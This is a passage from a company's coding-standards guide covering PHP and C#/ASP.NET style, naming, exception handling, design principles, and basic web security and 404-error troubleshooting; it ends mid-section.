programmers should learn to be careful programmers instead of relying on a beautifier to make their code readable. Finally, since beautifiers are non-trivial programs that must parse the source, a sophisticated beautifier is not worth the benefits gained by such a program. Beautifiers are best for gross formatting of machine-generated code.

- Accidental omission of the second ``=" of the logical compare is a problem. The following is confusing and prone to error. if ($abool= $bbool) { ... }
- Does the programmer really mean assignment here? Often yes, but usually no. The solution is to just not do it, an inverse Nike philosophy. Instead use explicit tests and avoid assignment with an implicit test. The recommended form is to do the assignment before doing the test:

```
   $abool= $bbool;
 if ($abool) { ... }
```

5.11.1 Use if (0) to Comment Out Code Blocks

Sometimes large blocks of code need to be commented out for testing. The easiest way to do this is with an if (0) block:

```
 function example()
{
   great looking code

   if (0) {
   lots of code
   }

   more code
 }
```

You can't use **/**/** style comments because comments can't contain comments and surely a large block of your code will contain a comment, won't it?

5.12 Different Accessor Styles

5.12.1 Implementing Accessors

There are two major idioms for creating accessors.

5.12.1.1 Get/Set

```
 class X
{
   function GetAge()        { return $this->mAge; }
   function SetAge($age)    { $this->mAge = $age; }
   var $mAge;
};
```

Get/Set is ugly. Get and Set are strewn throughout the code cluttering it up.
But one benefit is when used with messages the set method can transparently transform from native machine representations to network byte order.

5.13 Attributes as Objects

```
 class X
{
```

```
      function          Age()          { return $this->mAge; }
      function          Name()         { return $this->mName; }

      var               $mAge;
      var               $mName;
   }

   $x = new X;

   // Example 1
   $age = $x->Age();
   $r_age = &$x->Age(); // Reference

   // Example 2
   $name = $x->Name();
   $r_name = &$x->Name(); // Reference
```

Attributes as Objects is clean from a name perspective. When possible use this approach to attribute access.

5.14 PHP Code Tags

PHP Tags are used for delimit PHP from html in a file. There are several ways to do this. <?php ?>, <? ?>, <script language="php"> </script>, <% %>, and <?=$name?>. Some of these may be turned off in your PHP settings.

Use <?php ?>

5.14.1.1 Justification

<?php ?> is always available in any system and setup.

5.14.1.2 Example

```
<?php print "Hello world"; ?> // Will print "Hello world"

<? print "Hello world"; ?> // Will print "Hello world"

&ltscript language="php"> print "Hello world"; </script> // Will
print "Hello world"

<% print "Hello world"; %> // Will print "Hello world"

<?=$street?> // Will print the value of the variable $street
```

5.15 No Magic Numbers

A magic number is a bare-naked number used in source code. It's magic because no-one has a clue what it means including the author inside 3 months. For example:

```
if      (22 == $foo) { start_thermo_nuclear_war(); }
else if (19 == $foo) { refund_lotso_money(); }
else if (16 == $foo) { infinite_loop(); }
else                 { cry_cause_im_lost(); }
```

In the above example what do 22 and 19 mean? If there was a number change or the numbers were just plain wrong how would you know?

Heavy use of magic numbers marks a programmer as an amateur more than anything else. Such a programmer has never worked in a team environment or has had to maintain code or they would never do such a thing.

Instead of magic numbers use a real name that means something. You should use define(). For example:

```
define("PRESIDENT_WENT_CRAZY", "22");
define("WE_GOOFED", "19");
define("THEY_DIDNT_PAY", "16");

if      (PRESIDENT_WENT_CRAZY == $foo) { start_thermo_nuclear_war();
}
else if (WE_GOOFED            == $foo) { refund_lotso_money(); }
else if (THEY_DIDNT_PAY       == $foo) { infinite_loop(); }
else                                   {
happy_days_i_know_why_im_here(); }
```

Now isn't that better?

5.16 Thin vs. Fat Class Interfaces

How many methods should an object have? The right answer of course is just the right amount, we'll call this the Goldilocks level. But what is the Goldilocks level? It doesn't exist. You need to make the right judgment for your situation, which is really what programmers are for :-)
The two extremes are thin classes versus thick classes. Thin classes are minimalist classes. Thin classes have as few methods as possible. The expectation is users will derive their own class from the thin class adding any needed methods.

While thin classes may seem "clean" they really aren't. You can't do much with a thin class. Its main purpose is setting up a type. Since thin classes have so little functionality many programmers in a project will create derived classes with everyone adding basically the same methods. This leads to code duplication and maintenance problems which is part of the reason we use objects in the first place. The obvious solution is to push methods up to the base class. Push enough methods up to the base class and you get thick classes.

Thick classes have a lot of methods. If you can think of it a thick class will have it. Why is this a problem? It may not be. If the methods are directly related to the class then there's no real problem with the class containing them. The problem is people get lazy and start adding methods to a class that are related to the class in some willow wispy way, but would be better factored out into another class. Judgment comes into play again.

Thick classes have other problems. As classes get larger they may become harder to understand. They also become harder to debug as interactions become less predictable. And when a method is changed that you don't use or care about your code will still have to be retested, and rereleased.

5.17 How to make gains quickly with a few practical points:

- Use PHPDocumentor to document all functions and classes
- Separate Code From Content (html)
- Separate Content From Layout and Formatting (css)

First, we will briefly touch upon documentation. Extremists in the extreme programming camp might try to persuade you that coding well and coding in pairs means the code documents itself. The truth is, however, that not all developers want to dig through code to find out how it

works -- they just want to reapply it quickly to their own situation. This is especially true in the case of an API. Enter PHPDocumentor.

PHPDocumentor is a very valuable tool for creating developer documentation. All functions and classes should be documented using PHPDocumentor DocBlocks and should be tested to make sure that PHPDocumentor can generate documentation from this code without errors or warnings.

More important than just the tool used, the documentation must be written in a useful way. This means:

- Document all input variables, their type, and any ranges (e.g. an integer between 1 and 10)
- Document all output variable(s), and their type(s)
- Document any side effects (e.g. changing a global variable or class variable)
- Describe what the function does or what the class does
- (Optional) Give an example of how to use the function or class

The second directive is: Separate Code From Content. This means use a templating system. The most basic form of templating system is to simply use PHP itself to only output variables and maybe perform some minimal formatting on the variable output. For example:

```
<table>
    <tr>
        <td>
        <?= $foo; ?>
        </td>
        <td>
        <?= date("l dS of F Y h:i:s A", $bar); ?>
        </td>
        ...
```

Other examples of templating systems include Smarty and Flexy.
Using a templating system means making a conscious decision to divide programmatically generated content up into variables. The criteria are:

- Where the string will live on the page (layout)
- How the string will look in terms of style (formatting)

The end result is that HTML tags and content should not be output from the main program using print or echo wherever possible. Instead, variables should be passed into the template, and the template should handle outputting the contents of the variable as well as minor formatting (for example, transforming an ISO date into a more human-readable date).

Separating code from content has many benefits. Probably the single greatest impact is maintainability. Not having to think in both PHP and HTML makes a developer's life easier. Much easier. Furthermore, multi-language sites benefit tremendously from using templates. Finally, a template system can be used to change the "skin" or overall look-and-feel of an application without changing the underlying functionality. The Serendipity blog system I use on my personal web site is skinnable, and the look-and-feel of my site was rendered entirely through use of the web-based admin tool to choose sidebar content and CSS for look-and-feel. More on the power of layout-independent content when we look at separating content from layout and formatting via css.

There are, of course, some exceptions to the use of templates. For example, when returning large sets of MySQL data into a table, it is often much faster to display the results of mysql_fetch_array() or mysql_fetch_assoc directly using echo. This kind of trade-off can be easily achieved by using PHP as your template system. Exceptions made for sake of

performance are important to note in your documentation, so that developers understand you were being deliberate, not lazy, in your choices.

Another major benefit of a template engine is division of labour. Programmers can program, and designers can design in HTML, then paste in the appropriate tags to display the programmatically generated content. This is also one of the major benefits of the third guideline: separate content from layout and formatting. This is partly achieved through using a template engine. The other half of the equation is Cascading Style Sheets or CSS.

While this may at first seem more like a design issue than a PHP issue, the truth is I have seen way too many lines of code that look like this:

```
<?PHP
$foo = '<center><font color="#FF0000">'.$bar.'</font></center>';
?>
...
<?= $foo ?>

Using CSS, you can separate the formatting and layout from the
content itself, as follows:
CODE

<style type="text/css">
.error {
    color: #FF0000;
    text-align: center;
}
</style>
...
<div class="error"><?= $bar ?></div>
```

In practice, it is also a good idea to move CSS code as well as JavaScript code off the main page, into separate files and use <link rel=...> to make the contents of these external files available on the main page. It is not only helpful for pushing real content further up the page for purposes of search engine ranking, but it keeps the HTML less cluttered and means less scrolling to get at the body content.

Dynamically generating CSS is typically a bad idea. Unless the application absolutely needs this, generating CSS in PHP puts responsibility for the style elements in the programmer's court, rather than the designer's court. Calling up different stylesheets that can be manipulated statically by a designer is a different matter -- this is an excellent way to provide a different look-and-feel to your web application based on, for example, the company of the person that is using the application. Such 'rebranding' can often be rolled together with custom content on a per-company basis to create a unique portal environment.

The power of CSS as a means to replacing tables for layout is strikingly displayed in the CSS Zen Garden. In practical usage, I find a combination of tables and CSS still makes for the fastest and most efficient way to create layout. As browsers (and designers) mature, it appears that will be fast replacing <table> not only for formatting and style but layout as well.

Keeping content separate from layout keeps the both the division of work and the division of elements (PHP, HTML, CSS) very clear. This increases maintainability as well as accountability for each aspect of the site -- designers design, coders code.

6 ASP.NET CODING STANDARDS

6.1 Introduction

This section describes rules and recommendations for developing applications and class libraries using the C# Language. The goal is to define guidelines to enforce consistent style and formatting and help developers avoid common pitfalls and mistakes.

Specifically, this document covers Naming Conventions, Coding Style, Language Usage, and Object Model Design.

6.2 Why ASP.NET Coding Standards are Important

Coding standards are important because they lead to greater consistency within your code and the code of your team mates. Greater consistency leads to code that is easier to understand, which in turn means it is easier to develop and to maintain. This reduces the overall cost of the applications that you create.

Your code will exist for a long time, long after you have moved onto other projects. An important goal during development is to ensure that you can transition your work to another developer, or to another team of developers, so that they can continue to maintain and enhance your work without having to invest an unreasonable amount of effort to understand your code. Code that is difficult to understand runs the risk of being scrapped and rewritten. If everyone does their own thing then it makes it very difficult to share code between developers, raising the cost of development and maintenance.

6.3 Scope of Section

This section only applies to the C# Language and the .NET Framework Common Type System (CTS) it implements. Although the C# language is implemented alongside the .NET Framework, this section does not address usage of .NET Framework class libraries. However, common patterns and problems related to C#'s usage of the .NET Framework are addressed in a limited fashion.

Even though standards for curly-braces ({ or }) and white space(tabs vs. spaces) are always controversial, these topics are addressed here to ensure greater consistency and maintainability of source code.

6.4 Document Conventions

Much like the ensuing coding standards, this document requires standards in order to ensure clarity when stating the rules and guidelines. Certain conventions are used throughout this document to add emphasis.

Below are some of the common conventions used throughout this document.

6.4.1 Colouring & Emphasis:

Blue Text coloured blue indicates a C# keyword or .NET type.
Bold Text with additional emphasis to make it stand-out.

6.4.2 Keywords:

Always Emphasises this rule must be enforced.

Never Emphasises this action must not happen.

Do Not Emphasises this action must not happen.

Avoid Emphasises that the action should be prevented, but some exceptions may exist.

Try Emphasises that the rule should be attempted whenever possible and appropriate.

Example Precedes text used to illustrate a rule or recommendation.

Reason Explains the thoughts and purpose behind a rule or recommendation.

6.5 Terminology & Definitions

The following terminology is referenced throughout this document:

Access Modifier
C# keywords public, protected, internal, and private declare the allowed code-accessibility of types and their members. Although default access modifiers vary, classes and most other members use the default of private. Notable exceptions are interfaces and enums which both default to public.

Camel Case
A word with the first letter lowercase, and the first letter of each subsequent word-part capitalized. **Example**: customerName

Common Type System
The .NET Framework common type system (CTS) defines how types are declared, used, and managed. All native C# types are based upon the CTS to ensure support for cross-language integration.

Identifier
A developer defined token used to uniquely name a declared object or object instance.
Example: public class MyClasNameIdentifier{...}

Magic Number
Any numeric literal used within an expression (or to initialize a variable) that does not have an obvious or well-known meaning. This usually excludes the integers 0 or 1 and any other numeric equivalent precision that evaluates as zero.

Pascal Case
A word with the first letter capitalized, and the first letter of each subsequent word-part capitalized. **Example**: CustomerName

Premature Generalisation
As it applies to object model design; this is the act of creating abstractions within an object model not based upon concrete requirements or a known future need for the abstraction. In simplest terms: “Abstraction for the sake of Abstraction.”

7 NAMING CONVENTIONS

Consistency is the key to maintainable code. This statement is most true for naming your projects, source files, and identifiers including Fields, Variables, Properties, Methods, Parameters, Classes, Interfaces, and Namespaces.

Identifier	Naming Convention
Project File	Pascal Case. Always match Assembly Name & Root Namespace. Example: LanceHunt.Web.csproj -> LanceHunt.Web.dll -> namespace LanceHunt.Web
Source File	Pascal Case. Always match Class name and file name. Avoid including more than one Class, Enum (global), or Delegate (global) per file. Use a descriptive file name when containing multiple Class, Enum, or Delegates. Example: MyClass.cs => public class MyClass {…}
Resource or Embedded File	Use Pascal Case. Use a name describing the file contents.
Namespace	Pascal Case. Partially match Project/Assembly Name. Example: namespace LanceHunt.Web {…}
Class or Struct	Pascal Case. Use a noun or noun phrase for class name. Add an appropriate class-suffix when sub-classing another type when possible. Examples: private class MyClass {…} internal class SpecializedAttribute : Attribute {…} public class CustomerCollection : CollectionBase {…} public class CustomEventArgs : EventArgs {…} private struct ApplicationSettings {…}
Interface	Pascal Case. Always prefix interface name with capital "I". Example: interface ICustomer {…}
Generic Class & Generic Parameter Type	Pascal case. Always use a single capital letter, such as T or K. **Example:** public class FifoStack<T> { public void Push(<T> obj) {…} public <T> Pop() {…} }
Method	Pascal Case. Use a **Verb** or **Verb-Object** pair. **Example:** public void Execute() {…} private string GetAssemblyVersion(Assembly target) {…}
Property	Pascal Case. Property name should represent the entity it returns. Never prefix property names with "Get" or "Set". **Example:** public string Name { get{…} set{…} }
Field (Public, Protected, or Internal)	Pascal Case. Avoid using non-private Fields, use Properties instead. **Example:** public string Name; protected IList InnerList;
Field (Private)	Camel Case and prefix with a single underscore (_) character. **Example:** private string _name;
Constant or Static Field	Treat like a Field. Choose appropriate Field access-modifier above.
Enum	Pascal Case (both the Type and the Options). Add the FlagsAttribute to bit-mask multiple options. **Example:** public enum CustomerTypes { Consumer, Commercial }
Delegate or Event	Pascal case. Treat as a Field. Choose appropriate Field access-modifier above. **Example:** public event EventHandler LoadPlugin;
Variable (inline)	Camel Case. Avoid using single characters like "x" or "y" except in FOR loops. Avoid enumerating variable names like text1, text2, text3 etc.
Parameter	Camel Case. **Example:** public void Execute(string commandText, int iterations) {…}

7.1 General Guidelines

Always use Camel Case or Pascal Case names.

Avoid ALL CAPS and all lowercase names. Single lowercase words or letters are acceptable.

Do not create namespaces, classes, methods, properties, fields, or parameters that vary only by capitalization.

Do not use names that begin with a numeric character.

Always choose meaningful and specific names.

Always err on the side of verbosity not terseness.

Variables and Properties should describe an entity not the type or size.

Do not use Hungarian Notation!

Example:

strName or iCount

Avoid using abbreviations unless the full name is excessive.

Avoid abbreviations longer than 5 characters.

Any abbreviations must be widely known and accepted.

Use uppercase for two-letter abbreviations, and Pascal Case for longer abbreviations.

Do not use C# reserved words as names.

Avoid naming conflicts with existing .NET Framework namespaces, or types.

Avoid adding redundant or meaningless prefixes and suffixes to identifiers

Example:

```
// Bad!
public enum ColorsEnum {…}
public class CVehicle {…}
public struct RectangleStruct {…}
```

Do not include the parent class name within a property name.

Example:

Customer.Name NOT Customer.CustomerName

Try to prefix Boolean variables and properties with “Can”, “Is” or “Has”.

Append computational qualifiers to variable names like Average, Count, Sum, Min, and Max where appropriate.

When defining a root namespace, use a Product, Company, or Developer Name as the root.

Example:

LanceHunt.StringUtilities

8 CODING STYLE

Coding style causes the most inconsistency and controversy between developers. Each developer has a preference, and rarely are two the same. However, consistent layout, format, and organization are key to creating maintainable code. The following sections describe the preferred way to implement C# source code in order to create readable, clear, and consistent code that is easy to understand and maintain.

Code	Style
Source Files	One Namespace per file and one class per file.
Curly Braces	On new line. Always use braces when optional.
Indention	Use tabs with size of 4.
Comments	Use // or /// but not /* … */ and do not flowerbox.
Variables	One variable per declaration.

Code	Style
Native Data Types	Use built-in C# native data types vs. .NET CTS types. (Use int NOT Int32)
Enums	Avoid changing default type.
Generics	Prefer Generic Types over standard or strong-typed classes.
Properties	Never prefix with Get or Set.
Methods	Use a maximum of 7 parameters.
base and this	Use only in constructors or within an override.
Ternary conditions	Avoid complex conditions.
foreach statements	Do not modify enumerated items within a foreach statement.
Conditionals	Avoid evaluating Boolean conditions against true or false. No embedded assignment. Avoid embedded method invocation.
Exceptions	Do not use exceptions for flow control. Use throw; not throw e; when re-throwing. Only catch what you can handle. Use validation to avoid exceptions. Derive from Exception not ApplicationException.
Events	Always check for null before invoking.
Locking	Use lock() not Monitor.Enter(). Do not lock on an object type or "this". Do lock on private objects.
Dispose() & Close()	Always invoke them if offered, declare where needed.
Finalizers	Avoid. Use the C# Destructors. Do not create Finalize() method.
AssemblyVersion	Increment manually.
ComVisibleAttribute	Set to false for all assemblies.

8.1 Formatting

Never declare more than 1 namespace per file.

Avoid putting multiple classes in a single file.

Always place curly braces ({ and }) on a new line.

Always use curly braces ({ and }) in conditional statements.

Always use a Tab & Indention size of 4.

Declare each variable independently – not in the same statement.

Place namespace "using" statements together at the top of file. Group .NET namespaces above custom namespaces.

Group internal class implementation by type in the following order:

- Member variables.
- Constructors & Finalizers.
- Nested Enums, Structs, and Classes.
- Properties
- Methods

Sequence declarations within type groups based upon access modifier and visibility:

- Public
- Protected
- Internal
- Private

Segregate interface Implementation by using #region statements.

Append folder-name to namespace for source files within sub-folders.

Recursively indent all code blocks contained within braces.

Use white space (CR/LF, Tabs, etc) liberally to separate and organize code.

Avoid declaring multiple attribute declarations within a single line. Instead stack each attribute as a separate declaration.

Example:

```
// Bad!
[Attrbute1, Attrbute2, Attrbute3]
public class MyClass
{…}


// Good!
[Attrbute1]
[Attrbute2]
[Attrbute3]
public class MyClass
{…}
```

Place Assembly scope attribute declarations on a separate line.

Place Type scope attribute declarations on a separate line.

Place Method scope attribute declarations on a separate line.

Place Member scope attribute declarations on a separate line.

Place Parameter attribute declarations inline with the parameter.

If in doubt, always err on the side of clarity and consistency.

8.2 Code Commenting

All comments should be written in English.

Use // or /// but never /* … */

Do not “flowerbox” comment blocks.

Example:

```
// ***************************************
// Comment block
// ***************************************
```

When making changes (particularly significant ones) to a piece of code, you should include your name, the date the update was made and the nature of the update, paying particular attention to the addition or modification of complicated functionality (though it may be more appropriate to use inline-comments for this purpose).

Use inline-comments to explain assumptions, known issues, and algorithm insights.

Do not use inline-comments to explain obvious code. Well written code is self documenting.

Only insert inline-comments for Bad Code to say “fix this code” – otherwise, rewrite it!

Code should not be commented out in the thought that it might be required later. If code is not required – delete it. Commented out code can be confusing to other developers trying to understand your code in the future.

Include Task-List keyword flags to enable comment-filtering.

Example:

```
// TODO: Place Database Code Here
// UNDONE: Removed P\Invoke Call due to errors
// HACK: Temporary fix until able to refactor
```

Always include <summary> comments. Include <param>, <return>, and <exception> comment sections where applicable.

Include <see cref=””/> and <seeAlso cref=””/> where possible.

Always add CDATA tags to comments containing code and other embedded markup in order to avoid encoding issues.

Example:

```
/// <example>
/// Add the following key to the “appSettings” section of your config:
/// <code><![CDATA[ /// <configuration>
/// <appSettings>
/// <add key=”mySetting” value=”myValue”/>
/// </appSettings>
/// </configuration>
/// ]]></code>
/// </example>
```

9 LANGUAGE USAGE

9.1 General

Do not omit access modifiers. Explicitly declare all identifiers with the appropriate access modifier instead of allowing the default.

Example:

```
// Bad!
Void WriteEvent(string message)
{…}

// Good!
private Void WriteEvent(string message)
{…}
```

Do not use the default (“1.0.*”) versioning scheme. Increment the AssemblyVersionAttribute value manually.

Set the ComVisibleAttribute to false for all assemblies. Afterwards, selectively enable the ComVisibleAttribute for individual classes as needed.

Example:

```
[assembly: ComVisible(false)]

[ComVisible(true)]
public MyClass
{…}
```

Consider factoring classes with unsafe code blocks into a separate assembly.

Avoid mutual references between assemblies.

9.2 Variables & Types

Try to initialize variables where you declare them.

Use the simplest data type, list, or object required. For example, use int over. Long unless you know you need to store 64bit values.

Always use the built-in C# data type aliases, not the .NET common type system (CTS).

Example:

```
short NOT System.Int16
int NOT System.Int32
long NOT System.Int64
string NOT System.String
```

Only declare member variables as private. Use properties to provide access to them with public, protected, or internal access modifiers.

Avoid specifying a type for an enum -use default of int unless you have an explicit need for long.

Avoid using inline numeric literals (magic numbers). Instead, use a Constant or Enum.

Avoid declaring inline string literals. Instead use Constants, Resources, Registry or other data sources.

Only declare constants for simple types.

Declare readonly or static readonly variables instead of constants for complex types.

Avoid direct casts. Instead, use the "as" operator and check for null.

Example:

```
object dataObject = LoadData();
DataSet ds = dataObject as DataSet;


if(ds != null)
{…}
```

Always prefer C# Generic collection types over standard or strong-typed collections.

Always explicitly initialize arrays of reference types using a for loop.

Avoid boxing and unboxing value types.

Example:

```
int count = 1;
object refCount = count; // Implicitly boxed.
int newCount = (int)refCount; // Explicitly unboxed.
```

Floating point values should include at least one digit before the decimal place and one after.

Example: totalPercent = 0.05;

Try to use the "@" prefix for string literals instead of escaped strings.

Prefer String.Format() or StringBuilder over string concatenation.

Never concatenate strings inside a loop.

Do not compare strings to String.Empty or "" to check for empty strings. Instead, compare by using String.Length == 0. When checking for empty strings use string.IsNullOrEmpty, or a check for null followed by a test of the length.

Avoid hidden string allocations within a loop. Use String.Compare() instead.

Example:

(*ToLower() creates a temp string*)

```
// Bad!
int id = -1;
string name = "lance hunt";
```

```
for(int i=0; i < customerList.Count; i++)
{ if(customerList[i].Name.ToLower()== name) {
        id =
   customerList[i
   ].ID;
   }
   }


// Good!
int id = -1;
string name = “lance hunt”;


for(int i=0; i < customerList.Count; i++)
{

    // The “ignoreCase = true” argument performs a // case-
    insensitive compare without new allocation.
    if(String.Compare(customerList[i].Name, name, true) == 0)
    { id = customerList[i].ID; }
}
```

9.3 Flow Control

Avoid invoking methods within a conditional expression.

Avoid creating recursive methods. Use loops or nested loops instead.

Avoid using foreach to iterate over immutable value-type collections. E.g. String arrays.

Do not modify enumerated items within a foreach statement.

Use the **ternary** conditional operator only for trivial conditions. Avoid complex or compound ternary operations.

Example: int result = isValid ? 9 : 4;

Avoid evaluating Boolean conditions against true or false.

Example:

```
// Bad!
if (isValid == true)
{…}

// Good!
if (isValid)
{…}
```

Avoid assignment within conditional statements.

Example:

```
if((1=2))==2) {…}
```

Avoid compound conditional expressions – use Boolean variables to split parts into multiple manageable expressions.

Example:

```
// Bad!

if (((value > _highScore) && (value != _highScore)) && (value <
_maxScore))
{…}


// Good!

isHighScore = (value >= _highScore);
isTiedHigh = (value == _highScore);
isValid = (value < _maxValue);


if ((isHighScore && ! isTiedHigh) && isValid)
{…}
```

Avoid explicit Boolean tests in conditionals.

Example:

```
// Bad!
if(IsValid == true)
{…};

// Good!
if(IsValid)
{…}
```

Only use switch/case statements for simple operations with parallel conditional logic.

Prefer nested if/else over switch/case for short conditional sequences and complex conditions.

Prefer polymorphism over switch/case to encapsulate and delegate complex operations.

9.4 Exception Handling

Do not use try/catch blocks for flow-control.

Only catch exceptions that you can handle.

Never declare an empty catch block.

Avoid nesting a try/catch within a catch block.

Use exception filters where possible.

Order exception filters from most to least derived exception type.

Avoid re-throwing an exception. Allow it to bubble-up instead.

If re-throwing an exception, omit the exception argument from the throw statement so the original call stack is preserved.

Example:

```
// Bad!
catch(Exception ex)
{
    Log(ex);
    throw ex;

}

// Good!
catch(Exception ex)
{
    Log(ex);
    throw;

}
```

Only use the finally block to release resources from a try statement.

Always use validation to avoid exceptions.

Example:

```
// Bad!
try
{
      conn.Close();
}
Catch(Exception ex)
{

      // handle exception if already closed!
}

// Good!
  if(conn.State !=
  ConnectionState
  .Closed)
  {
  conn.Close();
  }
```

Avoid defining custom exception classes. Use existing exception classes instead.
When a custom exception is required;

Always derive from Exception not ApplicationException.

Always override the ToString() method and String implicit operator to provide serialization.

Always implement the Exception Constructor Pattern:

```
public MyCustomException ();
public MyCustomException (string message);
public MyCustomException (string message, Exception innerException);
```

When throwing a new Exception, always pass the innerException in order to maintain the exception tree & inner call stack.

9.5 Events, Delegates, & Threading

Always check Event & Delegate instances for null before invoking.

Use the default EventHandler and EventArgs for most simple events.

Always derive a custom EventArgs class to provide additional data.

Use the existing CancelEventArgs class to allow the event subscriber to control events.

Always use the "lock" keyword instead of the Monitor type.

Only lock on a private or private static object.

Example:

```
lock(myVariable);
```

Avoid locking on a Type.

Example:

```
lock(typeof(MyClass));
```

Avoid locking on the current object instance.

Example:

```
lock(this);
```

9.6 Object Composition

Always declare types explicitly within a namespace. Do not use the default "{global}" namespace.

Avoid declaring methods with more than 7 parameters. Refactor or consider passing a struct or class instead.

Do not use the "new" keyword to hide members of a derived type.

Only use the "base" keyword when invoking a base class constructor or base implementation within an override.

Do not use the protected access modifier in sealed classes.

Consider using method overloading.

Always validate an enumeration variable or parameter value before consuming it. They may contain any value that the underlying Enum type (default int) supports.

Example :

```
public void Test(BookCategory cat)
{ if (Enum.IsDefined(typeof(BookCategory), cat)) {…}
}
```

Consider overriding Equals() on a struct.

Always override the Equality Operator (==) when overriding the Equals() method.

Always override the String Implicit Operator when overriding the ToString() method. According to MSDN, an implicit keyword is used to declare an implicit user-defined type conversion operator. In other words, this gives the power to your C# class, which can accepts any reasonably convertible data type without type casting. And such a kind of class can also be assigned to any convertible object or variable. If you want to create an implicit operator function, here is a signature of creating them in C#:

«access specifier» static implicit operator «converting type» («convertible type» rhs)

The above signature states that the operator accepts «convertible type» and converts into «converting type».

Always call Close() or Dispose() on classes that offer it.

Wrap instantiation of IDisposable objects with a "using" statement to ensure that Dispose() is automatically called.

Example:

Always implement the IDisposable interface & pattern on classes referencing external resources.

Example: *(shown with optional Finalizer)*

```
    using(SqlConnection cn = new SqlConnection(_connectionString)) {…}
public void Dispose()
{
    Dispose(true);
    GC.SuppressFinalize(this);

}

protected virtual void Dispose(bool disposing)
{
    if (disposing)
    {

        // Free other state (managed objects).
    }
    // Free your own state (unmanaged objects). //
    Set large fields to null.
}

// C# finalizer. (optional)
~Base()
{
```

```
        // Simply call Dispose(false).
        Dispose (false);
    }
```

Avoid implementing a Finalizer. Never define a Finalize() method as a finalizer. Instead use the C# destructor syntax.

Example

```
// Good
~MyClass {…}

// Bad
void    Finalize(){…}
```

9.7 Session and Viewstate

Microsoft® ASP.NET view state, in a nutshell, is the technique used by an ASP.NET Web page to persist changes to the state of a Web Form across postbacks. View state has caused confusion among ASP.NET developers. When creating custom server controls or doing more advanced page techniques, not having a solid grasp of what view state is and how it works can come back to bite you. Web designers who are focused on creating low-bandwidth, streamlined pages oftentimes find themselves frustrated with view state, as well. The view state of a page is, by default, placed in a hidden form field named __VIEWSTATE. This hidden form field can easily get very large, on the order of tens of kilobytes. Not only does the __VIEWSTATE form field cause slower downloads, but, whenever the user posts back the Web page, the contents of this hidden form field must be posted back in the HTTP request, thereby lengthening the request time, as well.

Recommendation: turn session off completely unless there is a specific reason that you need it, turn Viewstate off by default and only enable it when necessary. If using Viewstate, some useful advice to consider:
http://msdn.microsoft.com/en-us/library/ms972976.aspx#viewstate_topic8

10 DESIGN PRINCIPLES AND PATTERNS

10.1 Design Patterns

The best software solutions are those composed of a set of small, simple mechanisms that solve simple problems reliably and effectively. During the process of building larger and more complex systems, these simple mechanisms combine to evolve the larger system.

Design patterns are used to store experience and knowledge for such mechanisms in a standardised way that can be easily referenced during design decisions. Each pattern contains a simple, proven mechanism as described above. Patterns are usually combined to build complex systems.

They provide a common vocabulary and taxonomy for developers and architects
Enable solutions to be described concisely as combinations of patterns
Enable reuse of architecture, design, and implementation decisions.

A pattern describes a recurring problem that occurs in a given context and, based on a set of guiding forces, recommends a solution. The solution is usually a simple mechanism, a collaboration between two or more classes, objects, services, processes, threads, components, or nodes that work together to resolve the problem identified in the pattern.

10.2 General Design Considerations

When designing an application or service, you should consider the following recommendations:

Identify the kinds of components you will need in your application. Some applications do not require certain components. For example smaller applications that don't need to integrate with other services may not need business workflows or service agents.

Design all components of a particular type to be as consistent as possible, using one design model or a small set of design models. This helps to preserve the predictability and maintainability of the design and implementation for all teams. In some cases it may be hard to maintain a logical decision due to technical environments; however you should strive for consistency within each environment. In some cases you can use a base class for all components that follow a similar pattern, such as data access logic components.

Understand how components communicate with each other before choosing physical distribution boundaries. Keep coupling low and cohesion high by choosing coarse-grained, rather than chatty, interfaces for remote communication.

Keep the format used for data exchange consistent within the application or service. If you must mix data representation formats, keep the number of formats low. For example, you may return data in a DataReader from data access logic components to do fast rendering of data in ASP.NET, but use DataSets for consumption in business processes.

Keep code that enforces policies (such as security, operational management and communication restrictions) abstracted as much as possible from the application business logic.

11 SECURITY & TROUBLESHOOTING

This section is all about reducing the chances of a site being compromised by:

- SQL injection
- Code injection and Cross-site scripting
- Information Prediction / Leakage
- Code errors compromising system security or function

By following the following simple set of precautions these issues can be all but eliminated.

Always check the security before every software release. However, do not leave it to test at the end of a build phase – design and code with security in mind.

Reading Room suggest that customers should perform their own security testing to satisfy themselves that all security issues have been addressed to their satisfaction before sign-off of the deliverables. If the client has specific security requirements and standards, these should be fully discussed, agreed and documented before build begins.

11.1 Fiddler

Much “under the hood” information about what your web application is doing can be harvested using a tool such as Fiddler – familiarise yourself with this or a similar tool and use it before escalating requests to Infrastructure and Support (IS) Team. Even if you do still have to raise an issue, you will probably be able to be much more precise about the problem you are having:

Fiddler is a Web Debugging Proxy which logs all HTTP(S) traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP(S) traffic, set breakpoints, and "fiddle" with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language. Fiddler is freeware and can debug traffic from virtually any application, including Internet Explorer, Mozilla Firefox, Opera, and thousands more.

11.2 Errors

The 404 or Not Found error message is a HTTP standard response code indicating that the client was able to communicate with the server but the server could not find what was requested. 404 errors should not be confused with "server not found" or similar errors, in which a connection to the destination server could not be made at all. Another similar error is "410: Gone", which indicates that the requested resource has been intentionally removed and will not be available again. A 404 error indicates that the requested resource may be available in the future.

When communicating via HTTP, a server is required to respond to a request, such as a web browser's request for an HTML document (web page), with a numeric response code and an optional, mandatory, or disallowed (based upon the status code) message. In the code 404, the first "4" indicates a client error, such as a mistyped URL. The following two digits indicate the specific error encountered.

At the HTTP level, a 404 response code is followed by a human-readable "reason phrase". The HTTP specification suggests the phrase "Not Found" and many web servers by default issue an HTML page that includes both the 404 code and the "Not Found" phrase.

A 404 error is often returned when pages have been moved or deleted. In the first case, a better response is to return a 301 Moved Permanently response, which can be configured in most server configuration files, or through URL rewriting; in the second case, a 410 Gone

should be returned. Because these two options require special server configuration, most websites do not make use of them.
404 errors should not be confused with DNS errors, which appear when the given URL refers to a server name that does not exist. A 404 error indicates that the server itself was found, but that the server does not have the requested page.

11.2.1 Custom 404's (DO THIS)

Webservers can typically be configured to display a customised error page, including more natural description, the parent site's branding or sometimes a search form, but the protocol level phrase, which is hidden from the user, is rarely customized.

Internet Explorer (before Internet Explorer 7), however, will not display custom pages unless they are larger than 512 bytes, opting to instead display a "friendly" error page. This default behaviour can be changed under Tools | Internet Options by clicking on the Advanced tab and un-checking the "Show friendly HTTP error messages" check box.

11.2.2 False 404 errors

